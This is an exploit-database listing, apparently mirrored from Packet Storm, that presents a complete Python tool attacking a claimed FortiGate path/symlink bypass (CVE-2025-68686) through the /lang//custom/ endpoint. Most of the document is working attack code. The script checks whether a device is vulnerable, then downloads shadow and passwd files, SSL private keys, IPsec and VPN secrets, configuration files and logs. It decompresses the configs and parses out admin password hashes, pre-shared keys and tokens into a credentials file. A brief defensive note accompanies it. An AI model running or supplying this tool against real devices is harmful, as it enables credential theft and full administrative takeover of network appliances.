Share
## https://sploitus.com/exploit?id=PACKETSTORM:215597
=============================================================================================================================================
| # Title : FortiGate Advanced Symlink Bypass Exploit with Configuration & Credential Extraction |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.fortinet.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/215520/ & CVE-2025-68686
[+] Summary : This Python script is an advanced exploitation tool targeting vulnerable FortiGate devices manufactured by Fortinet.
It attempts to exploit a symlink/path bypass vulnerability via the /lang//custom/ endpoint in order to access sensitive internal files that should not be publicly accessible.
[+] Key Features:
Tests whether the target device appears vulnerable.
Attempts to download sensitive system and configuration files.
Decompresses .gz configuration files.
Parses configuration content to extract:
Admin usernames and password hashes
VPN user groups
Pre-shared keys (PSKs)
Authentication tokens and secrets
Saves raw files and extracted credentials locally.
[+] Potential Impact:
If successful, the tool can expose:
Administrator credentials
VPN secrets and group memberships
System configuration details
SSL certificates and private keys
Log files containing sensitive operational data
This could allow full administrative compromise of the device and potentially lateral movement inside the internal network.
[+] Risk Level: Critical โ Successful exploitation may result in complete device takeover.
[+] Defensive Note:
Organizations should:
Update FortiOS to the latest version
Restrict SSL VPN access
Monitor logs for suspicious /lang//custom/ requests
Enforce MFA on administrative accounts
[+] POC :
#!/usr/bin/env python3
import requests
import urllib3
import argparse
import sys
import gzip
import re
import base64
import hashlib
from pathlib import Path
import json
from datetime import datetime
import os
import io
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class FortiGateExploiter:
def __init__(self, target_ip, target_port, output_dir="fortigate_dump"):
self.target_ip = target_ip
self.target_port = target_port
self.output_dir = output_dir
self.session = requests.Session()
self.session.verify = False
self.session.timeout = 15
Path(output_dir).mkdir(exist_ok=True)
self.interesting_paths = [
"/lang//custom/data/config/sys_global.conf.gz",
"/lang//custom/data/config/system.conf",
"/lang//custom/data/config/vip.conf",
"/lang//custom/data/config/vpn.conf",
"/lang//custom/data/config/firewall.conf",
"/lang//custom/data/config/router.conf",
"/lang//custom/data/config/system.conf.gz",
"/lang//custom/data/etc/passwd",
"/lang//custom/data/etc/shadow",
"/lang//custom/data/etc/master.passwd",
"/lang//custom/data/etc/ssl/private/ssl-cert-snakeoil.key",
"/lang//custom/data/data/etc/admin_passwd",
"/lang//custom/data/data/etc/authd.conf",
"/lang//custom/data/etc/ppp/chap-secrets",
"/lang//custom/data/etc/ipsec.conf",
"/lang//custom/data/etc/ipsec.secrets",
"/lang//custom/data/etc/openvpn/server.conf",
"/lang//custom/data/var/log/system.log",
"/lang//custom/data/var/log/auth.log",
"/lang//custom/data/var/log/vpn.log",
"/lang//custom/data/cert/ssl/ca_cert",
"/lang//custom/data/cert/ssl/server_cert",
"/lang//custom/data/cert/ssl/server_key",
"/lang//custom/data/version",
"/lang//custom/data/etc/version",
"/lang//custom/data/etc/hostname",
"/lang//custom/data/etc/hosts",
]
def test_vulnerability(self):
"""Test if device is vulnerable"""
test_url = f"https://{self.target_ip}:{self.target_port}/lang//custom/test"
try:
response = self.session.get(test_url)
if response.status_code in [200, 404]:
print("[+] Target appears VULNERABLE to bypass technique!")
return True
elif response.status_code == 403:
print("[-] Target is PATCHED against bypass")
return False
else:
print(f"[?] Unknown response code: {response.status_code}")
return True # Assume vulnerable
except Exception as e:
print(f"[-] Error testing vulnerability: {e}")
return False
def download_file(self, path):
"""Download a file from the target"""
url = f"https://{self.target_ip}:{self.target_port}{path}"
try:
response = self.session.get(url)
if response.status_code == 200:
if len(response.content) > 100 and not response.content.startswith(b'<!DOCTYPE'):
return response.content
return None
except Exception as e:
print(f"[-] Error downloading {path}: {e}")
return None
def parse_config_gz(self, data):
"""Parse gzipped configuration file - CORRECTED VERSION"""
try:
with gzip.open(io.BytesIO(data), 'rt', encoding='utf-8', errors='ignore') as f:
return f.read()
except Exception as e:
print(f"[-] Error parsing gzip file: {e}")
return None
def extract_credentials(self, config_text):
"""Extract credentials from configuration"""
credentials = {
'users': [],
'passwords': [],
'secrets': [],
'vpn_users': [],
'admin_users': [],
'hashes': []
}
if not config_text:
return credentials
password_patterns = [
(r'password\s+["\']?([^"\'\s]+)["\']?', 'plain'),
(r'passwd\s+["\']?([^"\'\s]+)["\']?', 'plain'),
(r'psk\s+["\']?([^"\'\s]+)["\']?', 'psk'),
(r'secret\s+["\']?([^"\'\s]+)["\']?', 'secret'),
(r'key\s+["\']?([^"\'\s]+)["\']?', 'key'),
(r'auth-token\s+["\']?([^"\'\s]+)["\']?', 'token'),
(r'encrypted\s+password\s+["\']?([^"\'\s]+)["\']?', 'encrypted'),
(r'set\s+password\s+([A-Fa-f0-9]{32,})', 'md5_hash'),
(r'sha256\s+([A-Fa-f0-9]{64})', 'sha256_hash'),
]
admin_pattern = r'config user local\s+edit\s+["\']?([^"\'\s]+)["\']?.*?set (?:password|passwd)\s+(?:ENCRYPTED\s+)?([^\s]+)'
admin_matches = re.findall(admin_pattern, config_text, re.DOTALL | re.IGNORECASE)
for match in admin_matches:
credentials['admin_users'].append({
'username': match[0],
'password_hash': match[1]
})
vpn_pattern = r'config user group\s+edit\s+["\']?([^"\'\s]+)["\']?.*?set member\s+([^\n]+)'
vpn_matches = re.findall(vpn_pattern, config_text, re.DOTALL | re.IGNORECASE)
for match in vpn_matches:
credentials['vpn_users'].append({
'group': match[0],
'members': match[1].strip()
})
for pattern, ptype in password_patterns:
matches = re.findall(pattern, config_text, re.IGNORECASE)
for match in matches:
if len(match) > 3:
if 'hash' in ptype:
credentials['hashes'].append(match)
else:
credentials['passwords'].append({'value': match, 'type': ptype})
return credentials
def run_exploit(self):
"""Main exploit function"""
print(f"\n[*] Starting FortiGate exploit against {self.target_ip}:{self.target_port}")
print(f"[*] Output directory: {self.output_dir}")
if not self.test_vulnerability():
response = input("\n[?] Continue anyway? (y/n): ")
if response.lower() != 'y':
return False
downloaded = []
for path in self.interesting_paths:
filename = path.split('/')[-1]
print(f"\n[*] Trying: {path}")
data = self.download_file(path)
if data:
filepath = f"{self.output_dir}/{self.target_ip}_{filename}"
with open(filepath, 'wb') as f:
f.write(data)
print(f"[+] Downloaded: {filename} ({len(data)} bytes)")
downloaded.append(filepath)
if filename.endswith('.gz'):
config_text = self.parse_config_gz(data)
if config_text:
decomp_path = f"{self.output_dir}/{self.target_ip}_{filename.replace('.gz', '')}"
with open(decomp_path, 'w', encoding='utf-8') as f:
f.write(config_text)
print(f"[+] Decompressed config saved to: {decomp_path}")
if 'sys_global.conf' in filename or 'system.conf' in filename:
creds = self.extract_credentials(config_text)
cred_path = f"{self.output_dir}/{self.target_ip}_credentials.txt"
with open(cred_path, 'w', encoding='utf-8') as f:
f.write(f"Credentials extracted from {self.target_ip}\n")
f.write(f"Date: {datetime.now().isoformat()}\n")
f.write("=" * 60 + "\n\n")
if creds['admin_users']:
f.write("ADMIN USERS:\n")
f.write("-" * 40 + "\n")
for user in creds['admin_users']:
f.write(f" Username: {user['username']}\n")
f.write(f" Password Hash: {user['password_hash']}\n\n")
if creds['vpn_users']:
f.write("VPN GROUPS:\n")
f.write("-" * 40 + "\n")
for group in creds['vpn_users']:
f.write(f" Group: {group['group']}\n")
f.write(f" Members: {group['members']}\n\n")
if creds['hashes']:
f.write("CRYPTOGRAPHIC HASHES:\n")
f.write("-" * 40 + "\n")
for h in set(creds['hashes']):
f.write(f" {h}\n")
if creds['passwords']:
f.write("POTENTIAL PASSWORDS/KEYS:\n")
f.write("-" * 40 + "\n")
for pwd in creds['passwords'][:30]: # Show first 30
f.write(f" [{pwd['type']}] {pwd['value']}\n")
print(f"[+] Extracted credentials saved to: {cred_path}")
print(f"\n[!] CREDENTIALS SUMMARY:")
print(f" Admin users found: {len(creds['admin_users'])}")
print(f" VPN groups found: {len(creds['vpn_users'])}")
print(f" Hashes found: {len(creds['hashes'])}")
print(f" Passwords/keys found: {len(creds['passwords'])}")
else:
print(f"[-] Failed to download: {filename}")
if downloaded:
print(f"\n[+] Success! Downloaded {len(downloaded)} files to {self.output_dir}/")
return True
else:
print("\n[-] No files were downloaded. Device might be patched.")
return False
def main():
parser = argparse.ArgumentParser(description='Advanced FortiGate Symlink Bypass Exploit (Corrected)')
parser.add_argument('target', help='Target IP:port')
parser.add_argument('-o', '--output', default='fortigate_dump',
help='Output directory (default: fortigate_dump)')
args = parser.parse_args()
try:
if ':' in args.target:
ip, port = args.target.split(':')
port = int(port)
else:
ip = args.target
port = 443
except:
print("[-] Invalid target format")
sys.exit(1)
exploit = FortiGateExploiter(ip, port, args.output)
success = exploit.run_exploit()
if success:
print(f"\n[+] Exploit completed. Check {args.output}/ for results")
sys.exit(0)
else:
print("\n[-] Exploit failed")
sys.exit(1)
if __name__ == "__main__":
main()
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================